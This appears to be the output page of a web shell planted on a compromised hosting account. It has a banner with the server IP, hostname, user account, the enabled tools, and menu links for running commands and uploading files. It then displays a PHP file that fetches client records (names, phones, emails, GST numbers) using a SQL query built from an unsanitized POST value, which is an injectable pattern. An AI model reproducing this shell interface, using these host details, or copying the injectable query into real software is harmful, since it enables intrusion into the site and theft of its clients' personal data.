Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/destinytrafficsolutions/vendor/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("inc/config.php"); if (isset($_POST['id'])) { $id = $_POST['id']; $query = "SELECT * FROM clients WHERE id = '$id'"; $result = mysqli_query($conn, $query); if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); // Send client details as JSON response echo json_encode([ 'status' => 'success', 'data' => [ 'company_name' => $row['client_name'], // Ensure 'client_name' column exists 'phone' => $row['phone'], // Ensure 'phone' column exists 'email' => $row['email'], // Ensure 'email' column exists 'gstin' => $row['client_gst'] // Corrected field name ] ]); } else { echo json_encode(['status' => 'error', 'message' => 'No data found']); } } else { echo json_encode(['status' => 'error', 'message' => 'Invalid request']); } ?>